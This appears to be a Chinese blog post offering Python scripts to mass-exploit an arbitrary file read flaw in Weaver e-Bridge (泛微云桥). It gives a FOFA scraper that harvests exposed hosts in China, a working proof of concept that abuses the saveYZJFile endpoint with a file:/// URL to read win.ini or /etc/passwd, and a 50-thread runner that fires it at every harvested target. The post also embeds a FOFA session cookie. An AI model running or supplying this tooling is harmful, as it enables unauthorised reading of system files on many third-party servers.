python 批量检测泛微云桥任意文件读取漏洞

python 批量检测泛微云桥任意文件读取漏洞

1.fofa收集目标

fofa搜集目标脚本,使用时替换cookie,生成ip.txt

#!/usr/bin/env python  
#-*- coding:utf-8 _*-  

import requests
from lxml import etree
import base64
import time

def fofa_search(search_data,page):
    headers={
        'cookie':'_fofapro_ars_session=69f0c5dae622947ca914cc6d8369713f;result_per_page=20',
    }
    for yeshu in range(1,page+1):
        url='https://fofa.so/result?page='+str(yeshu)+'&qbase64='
        search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
        urls=url+search_data_bs
        try:
            print('正在提取第' + str(yeshu) + '页')
            result=requests.get(urls,headers=headers).content
            #print(result.decode('utf-8'))
            soup = etree.HTML(result)
            ip_data=soup.xpath('//div[@class="re-domain"]/a[@target="_blank"]/@href')
            ipdata='\n'.join(ip_data)
            print(ip_data)
            with open(r'ip.txt','a+') as f:
                f.write(ipdata+'\n')
                f.close()
            time.sleep(0.5)
        except Exception as e:
            time.sleep(0.5)
            pass


if __name__ == '__main__':
    fofa_search('app="泛微-云桥e-Bridge" && country="CN" && is_domain=false',100)

2.泛微云桥任意文件读取POC

#!/usr/bin/env python  
#-*- coding:utf-8 _*-  

import requests
import urllib3

urllib3.disable_warnings() #忽略https证书告警

def poc(url):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36",
    }
    try:
        paths = ['C:/windows/win.ini','etc/passwd'] #需要读取的文件列表(因为一般存在windows或者linux上)
        for i in paths:
            payload1 = '''/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///%s&fileExt=txt'''%i
            genfile = url + payload1
            res1 = requests.get(genfile, verify=False, allow_redirects=False, headers=headers, timeout=15) #第二次请求,获取随机生成的id值
            try:
                id = res1.json()['id']
                if id: #如果值存在继续进行Step2,不存在继续循环。
                    payload2 = url + '/file/fileNoLogin/' + id
                    #print payload2
                    res2 = requests.get(payload2, verify=False, allow_redirects=False, headers=headers, timeout=15)
                    break
            except:
                continue
        if 'for 16-bit app support' in res2.text or 'root:x:0:0:' in res2.text: #判断漏洞是否存在,windows+linux的两种判断方法
            return payload2 #返回结果
        else:
            return None
    except Exception as e:
        return None

3.多线程框架

#!/usr/bin/env python  
#-*- coding:utf-8 _*-  

import time
import threading
import queue
import sys,os
from poc_list.web.Ebridge.single_ebridge import *  #这里导入我们需要的POC python脚本包即可

vuls_lists = []  #定义一个漏洞空列表,主要是方便之后的导出和计数。个人习惯啦
headers = {'User-Agent': 'Mozilla/5.0(WindowsNT6.1;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/79.0.3945.88Safari/537.36'}
class Thread_test(threading.Thread): #定义多线程类
    def __init__(self,que): #定义初始化函数,设置que变量,一般固定这种写法
        threading.Thread.__init__(self)
        self.que = que

    def run(self): #定义一个run函数,一般固定写法,用于执行你的需要多线程跑的函数
        while not self.que.empty():
            target = self.que.get() #从队列中取target值
            try:
                self.poc_run(target) #执行poc_run()函数
            except Exception as e:
                #print(e)
                pass

    def poc_run(self,target): #你的需要多线程跑的函数
        vuls_result = poc(target) #这里调用的poc函数就是我们前面写好的泛微云桥任意文件读取的poc脚本的主函数
        print('[*] scan:'+target) #加上一些扫描中的提示字符串
        if 'http://' in vuls_result or 'https://' in vuls_result : #由于是web漏洞,我们这里讲poc脚本的返回值定义为url,因此我们只用判断是否包含http协议就行
            print('[+] vuln:' + vuls_result)
            vuls_lists.append(vuls_result) #添加漏洞到之前定义的漏洞空列表中。
        else:
            pass

def main(input_filename,thread_count): #定义主函数
    getRLthread = [] #定义线程空列表
    que = queue.Queue() #定义队列变量
    with open(input_filename,'r') as f1:
        targets_list = f1.readlines() #读取所有目标url
    for target in targets_list:
        target = target.strip()
        que.put(target) #添加目标url到队列中
    for i in range(thread_count): #增加多线程循环,用于创建多线程
        getRLthread.append(Thread_test(que)) #讲创建的线程添加到之前的线程空列表
    for i in getRLthread:
        i.start() #启动每个线程
    for i in getRLthread:
        i.join() #用于主线程任务结束之后,进入阻塞状态,一直等待其他的子线程执行结束之后,主线程在终止

def otfile(outfilename):  #定义输出文件函数
    if os.path.isfile(outfilename): #判断输出文件是否存在
        os.system('del ' + outfilename) #如果存在就删除
    else:
        pass
    for vuls in vuls_lists:
        with open(outfilename,'a') as file1: #将漏洞url写入文件中
            file1.write(vuls+'\n')

if __name__ == '__main__':
    try:
        start = time.time()
        main('ip.txt',50) #目标URL文件和线程
        otfile('ebridge_vuln.txt') #输出的结果文件
        end = time.time()
        speed_time = end - start #计算耗时
        print('存在漏洞:%d个' % len(vuls_lists)) #打印漏洞个数
        if speed_time > 60: #简单的分秒换算
            speed_time_min = speed_time//60
            speed_time_sec = speed_time - speed_time_min * 60
            print('耗时:%dmin%ds'% (speed_time_min,speed_time_sec))
        else:
            print('耗时:%.2fs' % speed_time)
        sys.exit()
    except Exception as e:
        print(e)
        sys.exit()

运行结果ebridge_vuln.txt为存在泛微任意文件读取漏洞的网址

posted @ 2021-03-17 22:02  TaoLeonis  阅读(379)  评论(0编辑  收藏  举报